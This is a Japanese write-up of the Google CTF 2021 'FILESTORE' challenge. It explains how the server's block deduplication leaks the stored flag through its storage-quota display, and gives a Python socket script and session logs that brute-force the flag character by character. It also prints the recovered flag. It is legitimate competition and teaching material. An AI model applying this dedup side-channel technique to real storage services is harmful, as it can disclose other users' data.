Google Capture The Flag 2021 Writeup

この大会は2021/7/17 9:00(JST)~2021/7/19 9:00(JST)に開催されました。
今回もチームで参戦。結果は 204点で379チーム中156位でした。
自分で解けた問題をWriteupとして書いておきます。

FILESTORE (misc)

サーバの処理の概要は以下の通り。

・blob: 2**16の長さの\x00のbyte文字列
・files: 辞書型データ
・used = 0
・flagをstore
 ・part_list = []
 ・blobに先頭からflagをセットする。
 ・part_listにflagを16バイトのブロックで分割した際の(index, size)を追加する。
 ・fid: ランダム英数字16バイト
 ・files[fid] = partlist
 ・fidを返却
・以下繰り返しでメニュー選択
 ・loadの場合
  ・fid: 入力
  ・fidに対応するデータの連結を表示
 ・storeの場合
  ・data: storeするデータを入力
  ・dataをstore
   ・filesに追加
   ※同じデータがある場合、blobには追加されない。
  ・storeしたfidを表示
 ・status
  ・時刻を表示
  ・blobの使用量を表示

1文字ずつブルートフォースでblob使用量が増えない文字を探していく。フラグの先頭はCTF{が前提でよいか確認する。

$ nc filestore.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 00:07:19 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
zP5vP4iPJ9ImF6RW

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 00:07:37 2021
Quota: 0.026kB/64.000kB
Files: 2

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
flag{
Stored! Here's your file id:
2Yv13cmII816m82V

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 00:07:53 2021
Quota: 0.031kB/64.000kB
Files: 3

Menu:
- load
- store
- status
- exit

"CTF{"の場合は使用量が増えていないので、前提は正しいようだ。あとは最初の使用サイズが0.026kBであることから1024*0.026≒27で、ブロック数は2なので、"CTF{"から始まり、"}"で終わることを前提にフラグを求める。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_quota(s):
    print 'status'
    s.sendall('status\n')
    data = recvuntil(s, 'exit\n').rstrip()
    print data
    quota = float(data.split('\n')[2].split(' ')[1].split('kB')[0])
    return quota

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('filestore.2021.ctfcompetition.com', 1337))

data = recvuntil(s, 'exit\n').rstrip()
print data

quota = get_quota(s)

flag1 = 'CTF{'
flag2 = '}'
while True:
    for code in range(33, 127):
        if len(flag1) < 16:
            try_flag = flag1 + chr(code)
        else:
            try_flag = chr(code) + flag2
        print 'store'
        s.sendall('store\n')
        data = recvuntil(s, '\n').rstrip()
        print data
        print try_flag
        s.sendall(try_flag + '\n')
        data = recvuntil(s, 'exit\n').rstrip()
        print data
        new_quota = get_quota(s)
        if quota < new_quota:
            quota = new_quota
        else:
            if len(flag1) < 16:
                flag1 += chr(code)
            else:
                flag2 = chr(code) + flag2
            break
    if len(flag2) == 11:
        break

flag = flag1 + flag2
print flag

flagの前半を取得したところで接続が切れたので、その取得したところまでセットして継続して再実行した。実行結果は以下の通り。

== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 03:58:06 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{!
Stored! Here's your file id:
8JAMah4778KtV47f

        :

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
sp1ic4ti0n}
Stored! Here's your file id:
qKEvH3eOQnWFzMgM

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 04:21:04 2021
Quota: 0.918kB/64.000kB
Files: 84

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
tp1ic4ti0n}
Stored! Here's your file id:
BKesFwJnVgEXZfM4

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 04:21:05 2021
Quota: 0.929kB/64.000kB
Files: 85

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
up1ic4ti0n}
Stored! Here's your file id:
gOyEKxZyCbSR58jh

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 04:21:06 2021
Quota: 0.929kB/64.000kB
Files: 86

Menu:
- load
- store
- status
- exit
CTF{CR1M3_0f_d3dup1ic4ti0n}
CTF{CR1M3_0f_d3dup1ic4ti0n}